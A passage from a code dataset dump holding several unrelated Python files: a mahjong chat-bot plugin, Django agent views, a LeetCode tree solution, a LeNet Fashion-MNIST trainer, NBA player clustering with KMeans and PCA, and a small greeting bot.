\"三暗刻\": (11, 1), \"三暗\": (11, 1), \"四暗刻单骑\": (11, 3), \"四暗刻\": (11, 2), \"四暗单\": (11, 3), \"四暗\": (11, 2),\n \"三杠子\": (12, 1), \"四杠子\": (12, 2),\n \"小三元\": (13, 1), \"大三元\": (13, 2),\n \"小四喜\": (14, 1), \"大四喜\": (14, 2), \"四喜和\": (14, 1), \"四喜\": (14, 1),\n \"混全带幺九\": (15, 1), \"混全带\": (15, 1), \"混全\": (15, 1), \"全带\": (15, 1), \"纯全带幺九\": (15, 2), \"纯全带\": (15, 2), \"纯全\": (15, 2),\n \"混老头\": (15, 3), \"混幺九\": (15, 3), \"清老头\": (15, 4), \"清幺九\": (15, 4),\n \"混一色\": (16, 1), \"清一色\": (16, 2), \"绿一色\": (16, 3), \"九莲宝灯\": (16, 4), \"九莲\": (16, 4), \"纯正九莲宝灯\": (16, 5), \"纯九莲\": (16, 5), \"准正九莲宝灯\": (16, 4),\n \"天和\": (17, 1), \"地和\": (17, 2),\n \"字一色\": (18, 1),\n \"国士无双十三面\": (19, 2), \"国士无双13面\": (19, 2), \"国士无双\": (19, 1), \"十三幺九\": (19, 1), \"十三幺\": (19, 1), \"纯国士无双\": (19, 2), \"国士十三面\": (19, 2), \"国士13面\": (19, 2), \"国士\": (19, 1),\n \"流局满贯\": (20, 1), \"流满\": (20, 1)}\n voice = {(1, 1): \"rich\", (1, 2): \"drich\", (1, 3): \"yifa\", (1, 4): \"tumo\",\n (2, 1): \"dong\", (2, 2): \"nan\", (2, 3): \"xi\", (2, 4): \"bei\",\n (2, 5): \"bai\", (2, 6): \"fa\", (2, 7): \"zhong\",\n (3, 1): \"qianggang\", (3, 2): \"lingshang\", (3, 3): \"haidi\", (3, 4): \"hedi\",\n #(4, 1): \"宝牌\", (4, 2): \"红宝牌\", (4, 3): \"里宝牌\", (4, 4): \"北宝牌\",\n (5, 1): \"duanyao\",\n (6, 1): \"pinghu\",\n (7, 1): \"yibeikou\", (7, 2): \"erbeikou\",\n (8, 1): \"sansetongshun\", (8, 2): \"sansetongke\", (8, 3): \"yiqitongguan\",\n (9, 1): \"qiduizi\",\n (10, 1): \"duiduihu\",\n (11, 1): \"sananke\", (11, 2): \"sianke\", (11, 3): \"siankedanqi\",\n (12, 1): \"sangangzi\", (12, 2): \"sigangzi\",\n (13, 1): \"xiaosanyuan\", (13, 2): \"dasanyuan\",\n (14, 1): \"xiaosixi\", (14, 2): \"dasixi\",\n (15, 1): \"hunquandaiyaojiu\", (15, 2): \"chunquandaiyaojiu\", (15, 3): \"hunlaotou\", (15, 4): \"qinglaotou\",\n (16, 1): \"hunyise\", (16, 2): \"qingyise\", (16, 3): \"lvyise\", (16, 4): \"jiulianbaodeng\", (16, 5): \"chunzhengjiulianbaodeng\",\n (17, 1): \"tianhu\", (17, 2): \"dihu\",\n (18, 1): \"ziyise\",\n (19, 1): \"guoshiwushuang\", (19, 2): \"guoshishisanmian\",\n (20, 1): \"liujumanguan\"}\n if voicer_id >= 8:\n voice[(1, 1)] = 'liqi'\n voice[(1, 2)] = 'dliqi'\n voice[(1, 4)] = 'zimo'\n #ddr = {\"dora\": 1, \"宝\": 1, \"赤宝\": 2, \"红宝\":2, \"里宝\": 3}\n w = re.compile('东|南|西|北|立直?')\n al = re.compile('|'.join(d.keys()))\n dora = re.compile('(dr|dora|宝|赤宝|红宝|里宝|赤|里)牌?(\\d*)')\n d2 = {\"满贯\": 'manguan', \"跳满\": 'tiaoman', \"倍满\": 'beiman', \"三倍满\": 'sanbeiman', \"役满\": 'yiman1',\n \"累计役满\": 'leijiyiman', \"两倍役满\": \"yiman2\", \"三倍役满\": \"yiman3\", \"四倍役满\": \"yiman4\",\n \"五倍役满\": \"yiman5\", \"六倍役满\": \"yiman6\"}\n ten = re.compile('|'.join(d2.keys()))\n if_w = ''\n if_end = ''\n yakuman = 0\n while len(content):\n if if_w:\n match = w.match(content)\n if match:\n content = content[match.span()[1]:]\n if match.group()[0] == '立':\n yield 'fan_' + voice[(1, 2)]\n else:\n yield 'fan_double' + voice[d[match.group()]]\n else:\n raise maj.MajErr('役种名读取失败: ' + if_w + content[0:1] + '...')\n if_w = ''\n elif content[0] == ' ':\n content = content[1:]\n elif if_end:\n raise maj.MajErr(if_end + '应为结尾')\n elif content[0] == 'w' or content[0] == '连':\n content = content[1:]\n if_w = content[0]\n else:\n match = al.match(content)\n if match:\n content = content[match.span()[1]:]\n yield 'fan_' + voice[d[match.group()]]\n han = maj.MajRichiHai.HeZhong.dict_ten[d[match.group()]][0]\n if han >= 13:\n yakuman += han // 13\n else:\n match = dora.match(content)\n if match:\n content = content[match.span()[1]:]\n count = 1 if match.group(2) == '' else int(match.group(2))\n if count > 13:\n count = 13\n yield 'fan_dora' + str(count)\n else:\n match = ten.match(content)\n if match:\n content = content[match.span()[1]:]\n if_end = match.group(0)\n yield 'gameend_' + d2[match.group(0)]\n else:\n raise maj.MajErr('役种名读取失败: ' + content[0:2] + '...')\n if if_end == '' and yakuman > 0 and yakuman <= 6:\n yield 'gameend_yiman' + str(yakuman)\n\ntoken = {}\nwith open(config.rel('unicode.txt'), encoding='utf-16') as f:\n for line in f:\n match2 = re.search('\"(.*)\"\\\\s*:\\\\s*\"(.*)\"', line)\n match1 = re.search(\"'(.*)'\\\\s*:\\\\s*'(.*)'\", line)\n if not match1 and not match2:\n raise KeyError\n if match1:\n token[match1.group(1)] = match1.group(2)\n else:\n token[re.sub('\\\\\\\\\\\\\\\\', '\\\\\\\\', match2.group(1))] = re.sub('\\\\\\\\\\\\\\\\', '\\\\\\\\', match2.group(2))\n\n@on_command(('misc', 'token'), only_to_me=False)\n@config.ErrorHandle\nasync def token_alpha(session: CommandSession):\n try:\n global token\n strout = myFormatter().vformat(session.current_arg_text, (), token)\n await session.send('对应字符是:\\n' + strout, auto_escape=True)\n except KeyError:\n await session.send('KeyError')\n\n@on_command(('misc', 'latex'), only_to_me=False)\n@config.ErrorHandle\nasync def latex(session: CommandSession):\n await session.send(config.cq.img(await cmath.latex(session.current_arg_text, hsh=(session.ctx['group_id'], session.ctx['user_id']))))\n\n@on_command(('misc', 'shuru'), only_to_me=False)\n@config.ErrorHandle\nasync def shuru(session: CommandSession):\n pass\n\nclass MoneyComputer:\n class Man:\n def __init__(self, name, id):\n self.name = name\n self.id = id\n class Strategy:\n oneman_id = 0\n @staticmethod\n def oneman(name):\n return (MoneyComputer.Strategy.oneman_id, name)\n \n def __init__(self):\n self.man = []\n self.money = {}\n def clear(self):\n self.man = []\n self.money = {}\n def addMan(self, name):\n self.man.append(MoneyComputer.Man(name, len(self.man)))\n self.money[self.man[-1]] = 0.\n def findMan(self, name):\n return list(filter(lambda x: x.name == name, self.man))[0]\n def addBill(self, m, money, l):\n if len(l) == 0:\n l = self.man\n self.money[m] += float(money)\n part = float(money) / len(l)\n for i in l:\n self.money[i] -= part\n def output(self, strategy):\n if strategy[0] == MoneyComputer.Strategy.oneman_id:\n man = strategy[1]\n def _f():\n for m in self.man:\n if m is not man:\n if self.money[m] < 0:\n yield \"%s should give %s %f yuan\" % (m.name, man.name, abs(self.money[m]))\n elif self.money[m] > 0:\n yield \"%s should give %s %f yuan\" % (man.name, m.name, self.money[m])\n return \"\\n\".join(list(_f()))\n def process(self, command):\n t = command.split(\" \")\n if len(t) == 0:\n return\n if t[0] == \"clear\":\n self.clear()\n elif t[0] == \"add\":\n self.addMan(t[1])\n elif t[0] == \"bill\": # bill name1 money [name2 ...]\n self.addBill(self.findMan(t[1]), float(t[2]), list(map(self.findMan, t[3:])))\n elif t[0] == \"output\":\n if t[1] == \"oneman\":\n return self.output(MoneyComputer.Strategy.oneman(self.findMan(t[2])))\n def processLines(self, commands):\n for line in commands:\n ret = self.process(line)\n if ret is not None:\n return ret\n\n@on_command(('misc', 'money'), only_to_me=False)\n@config.ErrorHandle\nasync def shuru(session: CommandSession):\n await session.send(MoneyComputer().processLines(session.current_arg_text.split('\\r\\n')))","repo_name":"RandolphWang-1899/chiharu","sub_path":"chiharu/plugins/misc.py","file_name":"misc.py","file_ext":"py","file_size_in_byte":29284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"23603070570","text":"from django.shortcuts import render\n\n# Create your views here.\nfrom RE_property.models import Property\nfrom RE_user.models import SiteUser\n\n\ndef get_agent_list(request):\n agents = SiteUser.objects.all()\n ag_li = [ag for ag in agents]\n grouped_agents = agent_grouper(ag_li)\n context = {'agents': grouped_agents}\n return render(request, 'agent_list.html', context)\n\n\n\ndef get_agent_profile(request,*args,**kwargs):\n agent_id = kwargs['agent_id']\n agent = SiteUser.objects.get(id=agent_id)\n objects = Property.objects.filter(user=agent)\n\n\n context = {\n 'agent' : agent,\n 'property' : objects\n }\n\n return render(request, 'agent_profile.html',context)\n\ndef agent_grouper(images: list) -> dict:\n li = []\n dic = {}\n counter = 0\n for img in images:\n li.append(img)\n if len(li) == 6:\n dic[counter] = li\n li = []\n counter += 1\n dic[counter] = li\n return dic\n","repo_name":"nwasya/RealStateApp","sub_path":"RE_user/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"3291959256","text":"#https://kompege.ru/variant?kim=25006154\r\ndef delit(n):\r\n s=set()\r\n for i in range(2,int(n**0.5)+1):\r\n if n%i==0:\r\n s.add(i)\r\n s.add(n//i)\r\n return list(s)\r\ncount=0\r\nfor i in range(550000,5500000):\r\n f=delit(i)\r\n #print(f)\r\n k=0\r\n maxx=0\r\n for x in f:\r\n if x%10==7:\r\n k+=1\r\n maxx=max(maxx,x)\r\n if k==3:\r\n count+=1\r\n print(i, maxx)\r\n \r\n if count==5:\r\n break\r\n","repo_name":"olgaObnosova/EGE","sub_path":"№25/25006154.py","file_name":"25006154.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"1436859940","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def rob(self, root: TreeNode) -> int:\n memo = {} # (id, robbed) : max can earn\n def dfs(node, can_rob):\n if not node: return 0\n i = (id(node), can_rob)\n si = (id(node), False)\n if i in memo: return memo[i]\n take = 0\n if can_rob:\n L = dfs(node.left, False)\n R = dfs(node.right, False)\n take = node.val + L + R\n L = dfs(node.left, True)\n R = dfs(node.right, True)\n skip = L + R\n memo[i] = max(take, skip)\n memo[si] = skip\n return memo[i]\n\n return dfs(root, True)\n\n# @zhanweiting's solution on LeetCode discuss\nclass Solution:\n def rob(self, root: TreeNode) -> int:\n return max(self.dfs(root))\n\n def dfs(self, root: TreeNode):\n if not root:\n return (0, 0)\n left = self.dfs(root.left)\n right = self.dfs(root.right)\n return (root.val + left[1] + right[1], max(left[0], left[1]) + max(right[0], right[1]))\n","repo_name":"henryliuser/hliu-cp","sub_path":"leetcode/medium/house_robber_III.py","file_name":"house_robber_III.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"} +{"seq_id":"22987485675","text":"from __future__ import annotations\nfrom unittest import main, TestCase\nfrom unittest.mock import MagicMock, Mock, patch\nfrom pathlib import PurePath\nfrom io import TextIOBase\n\nfrom dependency_injector.containers import DeclarativeContainer\nfrom dependency_injector.providers import Configuration, Factory\n\nfrom file_parser.handle.file import BaseFileHandler\nfrom file_parser.output.write import ABCWrite\n\n\nclass Container(DeclarativeContainer):\n write = Factory(Mock, ABCWrite)\n handler = Factory(BaseFileHandler, write=write)\n\n\nclass Call(TestCase):\n def test_correct_file_opened(self):\n container = Container()\n handler = container.handler()\n path = Mock(PurePath)\n\n with patch(\"file_parser.handle.file.open\") as open_function:\n handler(path=path)\n\n open_function.assert_called_once_with(path, mode=\"r\")\n\n def test_correct_content_written(self):\n container = Container()\n write = container.write()\n handler = container.handler(write=write)\n path = Mock(PurePath)\n\n with patch(\"file_parser.handle.file.open\") as open_function:\n content = Mock()\n stream = MagicMock(TextIOBase, read=Mock(return_value=content))\n stream.__enter__ = Mock(return_value=stream)\n open_function.return_value = stream\n handler(path=path)\n\n write.assert_called_once_with(content=content)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"yari61/otus-patterns-chain-of-responsibility","sub_path":"tests/unit/test_base_file_handler.py","file_name":"test_base_file_handler.py","file_ext":"py","file_size_in_byte":1465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"7295736514","text":"from torchvision import transforms\nfrom torch.utils.data import DataLoader\nfrom fMNIST.dataloaders import FashionMNIST\nfrom fMNIST.cnn.networks import LeNet\nfrom fMNIST.cnn.networks import LeNetEnsemble\nfrom fMNIST.utils import constants\nfrom torchvision.utils import make_grid\nimport torch.nn.functional as F \nimport torch.optim as optim\nimport matplotlib.pyplot as plt\nimport torch.nn as nn\nimport numpy as np\nimport matplotlib\nimport torch \n\ndef accuracy(pred_labels, labels):\n pred_labels = torch.argmax(pred_labels,dim=1)\n correct = pred_labels.eq(labels)\n return torch.mean(correct.float())\n\ndef plot_accuracy(lloss,laccuracy):\n fig, axs = plt.subplots()\n ax2 = axs.twinx()\n axs.plot(lloss,label='loss',color='g')\n ax2.plot(laccuracy, label='accuracy',color='b')\n axs.set_ylabel('loss')\n ax2.set_ylabel('accuracy')\n plt.title('One LeNet training loss and accuracy')\n plt.show()\n\n\ndef main():\n \n # set the transforms\n trTransforms = transforms.Compose([\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor()\n ])\n\n teTransforms = transforms.Compose([\n transforms.ToTensor()\n ])\n\n\n # dataset\n train = FashionMNIST(\n constants.DIR, \n constants.TRAIN_FILE,\n transform=trTransforms\n )\n\n test = FashionMNIST(\n constants.DIR, \n constants.TEST_FILE,\n transform=teTransforms\n )\n\n # number of Classes\n nClasses = len(set(train.labels))\n\n\n #setup the dataloader\n trLoader = DataLoader(train,\n batch_size=constants.BATCH_SIZE,\n shuffle=True,\n num_workers=constants.NWORKERS\n )\n\n teLoader = DataLoader(test,\n batch_size=constants.BATCH_SIZE,\n shuffle=False,\n num_workers=constants.NWORKERS\n )\n\n # testing dataloaders \n samples, labels = iter(trLoader).next() \n nClasses = 10\n\n #model = LeNet(nClasses)\n model = LeNetEnsemble(nClasses)\n # move the model to gpu mode\n model.to(constants.DEVICE)\n\n # setup the optimizer\n optimizer = optim.Adam(model.parameters(), lr=0.001)\n # schedule the learning rate\n scheduler = optim.lr_scheduler.MultiStepLR(optimizer, milestones=[5000,\n 10000, 15000], gamma=0.5)\n \n criterion = nn.CrossEntropyLoss()\n lloss,laccuracy = [],[]\n total_loss,total_accuracy=0,0\n # train the system\n model.train()\n itr = 1\n for epoch in range(constants.EPOCHS):\n \n for batch_idx,(features, labels) in enumerate(trLoader):\n \n features = features.to(constants.DEVICE)\n labels = labels.to(constants.DEVICE)\n \n # nullify the gradients\n optimizer.zero_grad()\n\n # compute the output from the model\n pred_labels = model(features)\n\n # calculate the cross entropy loss\n loss = criterion(pred_labels, labels)\n\n # compute the backward gradients\n loss.backward() \n optimizer.step()\n\n total_loss += loss.item()\n total_accuracy += accuracy(pred_labels, labels)\n \n # \n scheduler.step()\n \n if itr%constants.ITERATIONS == 0:\n print('Epoch: %03d/%3d | Iterations:%04d | Cost: \\\n %.4f | Accuracy: \\\n %.4f'%(epoch+1,constants.EPOCHS,itr,total_loss/constants.ITERATIONS,total_accuracy/constants.ITERATIONS))\n\n lloss.append(total_loss/constants.ITERATIONS)\n laccuracy.append(total_accuracy/constants.ITERATIONS)\n total_loss,total_accuracy = 0,0\n itr += 1\n \n plot_accuracy(lloss,laccuracy) \n model.eval()\n test_accuracy = 0.0\n\n for features,target in teLoader:\n with torch.no_grad():\n features, labels = features.to(constants.DEVICE),target.to(constants.DEVICE)\n logits = model(features)\n test_accuracy += accuracy(logits,labels)\n\n print('Test accuracy of the model is {}'.format(round((test_accuracy.item()/len(teLoader)) * 100.0,2)))\n \n\n\n\nif __name__ == '__main__':\n main()\n \n\n \n\n\n\n","repo_name":"s1782662/Architectures","sub_path":"LeNet/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73013212073","text":"# -*- coding: utf-8 -*-\n\"\"\"\n\nClustering of NBA players based on their statistics.\n\nCreated on Mon May 11 14:46:21 2020\n\n@author: DAndresSanchez\n\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nfrom bokeh.models import HoverTool, CategoricalColorMapper\nfrom bokeh.palettes import Category10\nfrom bokeh.plotting import ColumnDataSource, figure, output_file, show\nfrom sklearn.cluster import KMeans\nfrom sklearn.decomposition import PCA\nfrom sklearn.metrics import silhouette_score\nfrom sklearn.pipeline import make_pipeline\nfrom sklearn.preprocessing import StandardScaler, Normalizer, MaxAbsScaler\n\n# Get the stats from season 2019\nstats_bas = pd.read_csv('data/stats_bas.csv')\nstats_adv = pd.read_csv('data/stats_adv.csv')\n\n# Join the basic and the advanced statistics and remove duplicate columns\nstats = pd.concat([stats_bas, stats_adv], axis=1)\nstats = stats.loc[:, ~stats.columns.duplicated()]\n\n# Select only those players with more than 25 min played in more than 50 games\nred_stats = stats[(stats['MP'] > 25) & (stats['G'] > 50)]\n\n# Visualisation in Bokeh\n# Define source for Bokeh graph\nsource = ColumnDataSource(data=dict(x=list(red_stats['USG%']),\n y=list(red_stats['PTS']),\n desc=list(red_stats['Player']),\n season=list(red_stats['Season'])))\n\n# Define a hover as player and season\nhover = HoverTool(tooltips=[\n ('Player', '@desc'),\n ('Season', '@season'),\n])\n\n# Define and show graph\nplot = figure(plot_width=1000, plot_height=400, tools=[hover])\nplot.circle('x', 'y', source=source, size=10, color=\"red\", alpha=0.5)\nplot.xaxis.axis_label = 'Usage %'\nplot.yaxis.axis_label = 'Points'\noutput_file('USGvPoints.html')\nshow(plot)\n\n# Determination of the optimal number of clusters\n# Define dataframe to apply the KMeans algorithm\ndf = red_stats.loc[:, ['PTS', 'AST', 'TRB', 'STL', 'BLK', 'FG%', '3P', '3PA', '3P%', '2P',\n '2PA', '2P%', 'eFG%', 'USG%']]\n\n# Selection of optimal number of clusters:\ninertia = {}\nsil_coeff = {}\nfor k in range(2, 21):\n # Instantiate KMeans and fit data\n scaler = StandardScaler()\n kmeans = KMeans(n_clusters=k)\n pipeline = make_pipeline(scaler, kmeans)\n pipeline.fit(df)\n label = kmeans.labels_\n # get inertia (Sum of distances of samples to their closest cluster center)\n inertia[k] = kmeans.inertia_\n # get silhouette score\n sil_coeff[k] = silhouette_score(df, label, metric='euclidean')\n\n# Elbow Criterion Method: visualisation of inertia\nplt.figure(figsize=(16, 5))\nplt.subplot(121)\nplt.plot(list(inertia.keys()), list(inertia.values()))\nplt.xlabel(\"Number of clusters\")\nplt.ylabel(\"Inertia\")\nplt.xticks(np.arange(2, 21, step=1))\nplt.grid(linestyle='-', linewidth=0.5)\n\n# Derivative of Inertia curve\nplt.subplot(122)\nplt.plot(list(inertia.keys()), np.gradient(list(inertia.values()), list(inertia.keys())))\nplt.xlabel(\"Number of clusters\")\nplt.ylabel(\"Derivative of Inertia\")\nplt.xticks(np.arange(2, 21, step=1))\nplt.grid(linestyle='-', linewidth=0.5)\nplt.show()\n\n# Silhouette Coefficient Method: visualisation silhouette scores\nplt.figure(figsize=(7.5, 5))\nplt.plot(list(sil_coeff.keys()), list(sil_coeff.values()))\nplt.xlabel(\"Number of clusters\")\nplt.ylabel(\"Silhouette Score\")\nplt.xticks(np.arange(2, 21, step=1))\nplt.grid(linestyle='-', linewidth=0.5)\nplt.show()\n\n# Comparison of preprocessing techniques for KMeans clustering\n# KMeans clustering without preprocessing\n# Define dataframe to apply the KMeans algorithm\ndf = red_stats.loc[:, ['PTS', 'AST', 'TRB', 'STL', 'BLK', 'FG%', '3P', '3PA', '3P%', '2P',\n '2PA', '2P%', 'eFG%', 'USG%']]\nn_clusters = 5\n# Instantiate KMeans and fit data\nkmeans = KMeans(n_clusters=n_clusters)\nkmeans.fit(df)\n# Get clusters labels and assign them to dataframe\nlabels = kmeans.predict(df)\ndf['Labels'] = labels\n# Visualisation\nplt.figure(figsize=(16, 16))\nplt.subplot(221)\nplt.title('No preprocessing')\ncmap = sns.color_palette(palette=\"muted\", n_colors=n_clusters)\nsns.scatterplot(x='PTS', y='USG%', data=df, hue='Labels', palette=cmap)\n\n# KMeans clustering with StandardScaler\n# Define dataframe to apply the KMeans algorithm\ndf = red_stats.loc[:, ['PTS', 'AST', 'TRB', 'STL', 'BLK', 'FG%', '3P', '3PA', '3P%', '2P',\n '2PA', '2P%', 'eFG%', 'USG%']]\nn_clusters = 5\n# Instantiate KMeans and fit data\nscaler = StandardScaler()\nkmeans = KMeans(n_clusters=n_clusters)\npipeline = make_pipeline(scaler, kmeans)\npipeline.fit(df)\n# Get clusters labels and assign them to dataframe\nlabels = pipeline.predict(df)\ndf['Labels'] = labels\n# Visualisation\nplt.subplot(222)\nplt.title('StandardScaler')\ncmap = sns.color_palette(palette=\"muted\", n_colors=n_clusters)\nsns.scatterplot(x='PTS', y='USG%', data=df, hue='Labels', palette=cmap)\n\n# KMeans clustering with Normalizer\n# Define dataframe to apply the KMeans algorithm\ndf = red_stats.loc[:, ['PTS', 'AST', 'TRB', 'STL', 'BLK', 'FG%', '3P', '3PA', '3P%', '2P',\n '2PA', '2P%', 'eFG%', 'USG%']]\n# Instantiate KMeans and fit data\nnorm = Normalizer()\nkmeans = KMeans(n_clusters=n_clusters)\npipeline = make_pipeline(norm, kmeans)\npipeline.fit(df)\n# Get clusters labels and assign them to dataframe\nlabels = pipeline.predict(df)\ndf['Labels'] = labels\n# Visualisation\nplt.subplot(223)\nplt.title('Normalizer')\ncmap = sns.color_palette(palette=\"muted\", n_colors=n_clusters)\nsns.scatterplot(x='PTS', y='USG%', data=df, hue='Labels', palette=cmap)\n\n# KMeans clustering with MaxAbsScaler\n# Define dataframe to apply the KMeans algorithm\ndf = red_stats.loc[:, ['PTS', 'AST', 'TRB', 'STL', 'BLK', 'FG%', '3P', '3PA', '3P%', '2P',\n '2PA', '2P%', 'eFG%', 'USG%']]\n# Instantiate KMeans and fit data\nmaxabs = MaxAbsScaler()\nkmeans = KMeans(n_clusters=n_clusters)\npipeline = make_pipeline(maxabs, kmeans)\npipeline.fit(df)\n# Get clusters labels and assign them to dataframe\nlabels = pipeline.predict(df)\ndf['Labels'] = labels\n# Visualisation\nplt.subplot(224)\nplt.title('MaxAbsScaler')\ncmap = sns.color_palette(palette=\"muted\", n_colors=n_clusters)\nsns.scatterplot(x='PTS', y='USG%', data=df, hue='Labels', palette=cmap)\n\n# KMeans clustering with StandardScaler and visualisation in Seaborn\n# Define dataframe to apply the KMeans algorithm\ndf = red_stats.loc[:, ['PTS', 'AST', 'TRB', 'STL', 'BLK', 'FG%', '3P', '3PA', '3P%', '2P',\n '2PA', '2P%', 'eFG%', 'USG%']]\n\n# Instantiate KMeans and fit data\nn_clusters = 5\nscaler = StandardScaler()\nkmeans = KMeans(n_clusters=n_clusters)\npipeline = make_pipeline(scaler, kmeans)\npipeline.fit(df)\n\n# Get clusters labels and assign them to dataframe\nlabels = pipeline.predict(df)\ndf['Labels'] = labels\n\ncmap = sns.color_palette(palette=\"muted\", n_colors=n_clusters)\nsns.scatterplot(x='PTS', y='USG%', data=df, hue='Labels', palette=cmap)\n\n# Plot main stats in a pair plot after clustering\nsns.pairplot(df, vars=['PTS', 'USG%', 'TRB', 'AST'], hue='Labels', palette=\"muted\")\n\n# Visualisation in Bokeh after KMeans\n# Define source for Bokeh graph\nsource = ColumnDataSource(data=dict(USG=list(red_stats['USG%']),\n PTS=list(red_stats['PTS']),\n AST=list(red_stats['AST']),\n desc=list(red_stats['Player']),\n\n season=list(red_stats['Season']),\n labels=list(map(str, list(labels)))\n ))\n\n# Define a hover as player and season\nhover = HoverTool(tooltips=[\n ('Player', '@desc'),\n ('Season', '@season'),\n ])\n\n# Define the colors for mapping the labels from KMeans\nmapper = CategoricalColorMapper(\n factors=[str(i + 1) for i in range(n_clusters)],\n palette=Category10[n_clusters])\n\n# Define and show graph USG% vs PTS\nplot = figure(plot_width=1000, plot_height=400, tools=[hover])\nplot.circle('USG', 'PTS', source=source, size=10, alpha=0.75,\n color={'field': 'labels',\n 'transform': mapper})\nplot.xaxis.axis_label = 'Usage %'\nplot.yaxis.axis_label = 'Points'\noutput_file('USGvPTS.html')\nshow(plot)\n\n\n# Scree Plot for PCA\npca = PCA(n_components=10)\nprincipal_components = pca.fit_transform(df)\nprincipal_df = pd.DataFrame(data=principal_components,\n columns=['principal component ' + str(e) for e in range(1, 11)])\n\n# Scree plot to measure the weight of each principal component\nscree = pd.DataFrame({'Variation': pca.explained_variance_ratio_,\n 'Principal Component': ['PC' + str(e) for e in range(1, 11)]})\nsns.barplot(x='Principal Component', y='Variation',\n data=scree, color=\"c\")\nplt.title('Scree Plot')\nplt.show()\n\n# PC1 explains more than 75% of the variation\n# PC1 and PC2 together account for almost 90% of the variation \n# Using PC1 and PC2 would be a good approximation\n\n\n# PCA 2D visualisation\npca = PCA(n_components=2)\nprincipal_components = pca.fit_transform(df)\nprincipal_df = pd.DataFrame(data=principal_components,\n columns=['principal component 1', 'principal component 2'])\nlabels_no_index = list(df.Labels)\nfinal_df = principal_df\nfinal_df['labels'] = labels\n\n# Define a hover as player and season\nhover_pca = HoverTool(tooltips=[\n ('Player', '@desc'),\n ('Season', '@season'),\n])\n# Define the colors for mapping the labels from KMeans\nmapper_pca = CategoricalColorMapper(\n factors=[str(i + 1) for i in range(n_clusters)],\n palette=Category10[n_clusters])\n# Define source for Bokeh graph\nsource_pca = ColumnDataSource(data=dict(x=list(final_df['principal component 1']),\n y=list(final_df['principal component 2']),\n desc=list(red_stats['Player']),\n season=list(red_stats['Season']),\n labels=list(map(str, list(labels)))\n ))\n# Define and show graph PC1 vs PC2\nplot_pca = figure(plot_width=1000, plot_height=400, tools=[hover_pca])\nplot_pca.circle('x', 'y', source=source_pca, size=10, alpha=0.75,\n color={'field': 'labels',\n 'transform': mapper_pca})\nplot_pca.xaxis.axis_label = 'PC1'\nplot_pca.yaxis.axis_label = 'PC2'\noutput_file('PCA.html')\nshow(plot_pca)\n","repo_name":"DAndresSanchez/NBA_KMeans","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10410,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"74720625192","text":"#!/usr/bin/env python3\n\nimport sys\nimport re\nimport utils.utils\n\nclass GreetAndQuestions(object):\n def __init__(\n self,\n your_name=\"anonymous\",\n my_name=\"roboter\",\n restaurant=\"somewhere nice place\",\n ):\n self.your_name = your_name\n self.my_name = my_name\n self.restaurant = restaurant\n\n def say_hello(self):\n self.your_name = input(f\"Hi! I'm {self.my_name}. What's yours?\\n\")\n if len(self.your_name) < 1:\n self.your_name = \"anonymous\"\n print(f\"Hello! {self.your_name}! Nice to meet you!\")\n # return self.your_name\n\n def ask_restaurant(self):\n self.restaurant = input(\"What restaurant do you like?\\n\")\n counter = 0\n while len(self.restaurant) < 1:\n self.restaurant = input(\n \"I couldn't hear you...\\nWhat restaurant do you like?\\n\"\n )\n counter += 1\n if counter == 3:\n print(f\"I have asked {counter} times!\")\n print(\"I'm sorry, I can't understand you...\")\n break\n continue\n if len(self.restaurant) < 1:\n self.restaurant = \"somewhere nice place\"\n print(f\"{self.your_name} Thank you!\\nHave a nice meal at {self.restaurant}!\")\n sys.exit(0)\n # return self.restaurant\n\n def recommend_restaurant(self):\n no_counter = 0\n while no_counter < 3:\n res = input(\n f\"{self.your_name} I recommend {self.restaurant}!\\nDo you like it? [yes/no]\"\n )\n res = utils.utils.unicode_to_ascii(res)\n res = res.lower()\n print(f\"You said: {res}\")\n if re.match(r\"^(yes|y)$\", res):\n print(\"Thank you!\")\n break\n elif re.match(r\"^(no|n)$\", res):\n # res = input(f\"How about this one? {self.restaurant} [yes/no]\")\n # res = utils.utils.unicode_to_ascii(res)\n no_counter += 1\n if no_counter == 3:\n print(\n \"I'll try to recommend you a nice restaurant again some day...\"\n )\n break\n continue\n elif res == \"\":\n # res = input(\"I couldn't hear you...\\nDo you like it? [yes/no]\")\n # res = utils.utils.unicode_to_ascii(res)\n no_counter += 1\n if no_counter == 3:\n print(\n \"I'll try to recommend you a nice restaurant again some day...\"\n )\n break\n continue\n else:\n print(\"I'll try to recommend you a nice restaurant again some day...\")\n\n\n# greeting_a = GreetAndQuestions()\n# greeting_a.say_hello()\n# user_name = greeting_a.your_name\n# print(f\"You are {user_name}, aren't you?\")\n# greeting_a.ask_restaurant()\n# restaurant = greeting_a.restaurant\n# print(f\"{user_name} has voted for {restaurant}!\")\n\n# greeting_a.recommend_restaurant()\n\nif __name__ == \"__main__\":\n sys.exit(0)\n","repo_name":"enginearn/roboter","sub_path":"roboter/greeting/greeting.py","file_name":"greeting.py","file_ext":"py","file_size_in_byte":3100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"30559416040","text":"\"\"\"Describe AtomSiteSusceptibility, AtomSiteSusceptibilityL.\"\"\"\nfrom typing import NoReturn\nimport math\nimport numpy\nfrom cryspy.A_functions_base.function_1_algebra import calc_m_sigma\nfrom cryspy.A_functions_base.function_1_atomic_vibrations import \\\n vibration_constraints\nfrom 